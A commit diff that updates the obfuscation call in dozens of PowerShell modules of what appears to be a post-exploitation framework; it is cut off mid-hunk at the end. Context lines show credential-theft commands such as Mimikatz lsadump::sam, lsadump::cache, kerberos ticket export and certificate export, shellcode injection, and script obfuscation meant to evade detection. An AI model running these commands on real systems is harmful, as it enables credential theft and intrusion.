Updated obfuscate function arguments in all powershell modules
parent
fcc6eb02e5
commit
2c7d62593b
|
@ -88,6 +88,6 @@ class Module:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -72,6 +72,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -127,6 +127,6 @@ class Module:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -145,6 +145,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "; 'Shellcode injected.'"
|
scriptEnd += "; 'Shellcode injected.'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -89,6 +89,6 @@ class Module:
|
||||||
sc = ",0".join(values['Value'].split("\\"))[1:]
|
sc = ",0".join(values['Value'].split("\\"))[1:]
|
||||||
scriptEnd += " -" + str(option) + " @(" + sc + ")"
|
scriptEnd += " -" + str(option) + " @(" + sc + ")"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -103,6 +103,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -107,6 +107,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -79,6 +79,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -216,5 +216,5 @@ Start-WebcamRecorder"""
|
||||||
else:
|
else:
|
||||||
script += " -" + str(option) + " " + str(values['Value'])
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -103,6 +103,6 @@ class Module:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -89,6 +89,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -162,5 +162,5 @@ class Module:
|
||||||
|
|
||||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -127,5 +127,5 @@ class Module:
|
||||||
|
|
||||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -88,6 +88,6 @@ class Module:
|
||||||
scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY"
|
scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY"
|
||||||
scriptEnd += " | fl | Out-String;"
|
scriptEnd += " | fl | Out-String;"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -114,6 +114,6 @@ class Module:
|
||||||
if no_defaults:
|
if no_defaults:
|
||||||
scriptEnd += " -NoDefaults "
|
scriptEnd += " -NoDefaults "
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -89,6 +89,6 @@ class Module:
|
||||||
scriptEnd += " -Instance "+instance
|
scriptEnd += " -Instance "+instance
|
||||||
scriptEnd += " -Query "+"\'"+query+"\'"
|
scriptEnd += " -Query "+"\'"+query+"\'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -232,6 +232,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -77,6 +77,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -98,6 +98,6 @@ class Module:
|
||||||
if option != "Agent" and option != "ProcessName" and option != "ProcessId":
|
if option != "Agent" and option != "ProcessName" and option != "ProcessId":
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -117,6 +117,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ";'Invoke-NetRipper completed.'"
|
scriptEnd += ";'Invoke-NetRipper completed.'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -103,6 +103,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'"
|
scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,5 +90,5 @@ class Module:
|
||||||
if persistent != "":
|
if persistent != "":
|
||||||
script += " persistent=yes"
|
script += " persistent=yes"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -120,5 +120,5 @@ Invoke-Prompt """
|
||||||
else:
|
else:
|
||||||
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
|
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -115,5 +115,5 @@ Get-Screenshot"""
|
||||||
else:
|
else:
|
||||||
script += " -" + str(option) + " " + str(values['Value'])
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -118,6 +118,6 @@ class Module:
|
||||||
scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
|
scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
|
||||||
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,6 +90,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,6 +90,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,6 +90,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -92,6 +92,6 @@ class Module:
|
||||||
scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger "
|
scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger "
|
||||||
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -151,6 +151,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -54,6 +54,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd = "\n%s" %(scriptCmd)
|
scriptEnd = "\n%s" %(scriptCmd)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -124,6 +124,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -76,6 +76,6 @@ class Module:
|
||||||
scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';"
|
scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';"
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -73,6 +73,6 @@ class Module:
|
||||||
# add in the cert dumping command
|
# add in the cert dumping command
|
||||||
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """
|
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -79,6 +79,6 @@ class Module:
|
||||||
scriptEnd = "Invoke-Mimikatz -Command "
|
scriptEnd = "Invoke-Mimikatz -Command "
|
||||||
scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'"
|
scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -100,6 +100,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "\"';"
|
scriptEnd += "\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -109,6 +109,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "| Out-String;"
|
scriptEnd += "| Out-String;"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -72,6 +72,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'"
|
scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -150,6 +150,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += " /ptt\"'"
|
scriptEnd += " /ptt\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -78,6 +78,6 @@ class Module:
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -86,6 +86,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "\"';"
|
scriptEnd += "\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -137,6 +137,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "\"';"
|
scriptEnd += "\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -126,6 +126,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."'
|
scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -74,6 +74,6 @@ class Module:
|
||||||
# set the purge command
|
# set the purge command
|
||||||
scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'"
|
scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -76,6 +76,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';"
|
scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -162,6 +162,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += " /ptt\"'"
|
scriptEnd += " /ptt\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -80,6 +80,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
|
scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -70,6 +70,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd = "Invoke-PowerDump"
|
scriptEnd = "Invoke-PowerDump"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -136,6 +136,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -155,6 +155,6 @@ class Module:
|
||||||
if self.options['RevToSelf']['Value'].lower() != "true":
|
if self.options['RevToSelf']['Value'].lower() != "true":
|
||||||
scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
|
scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
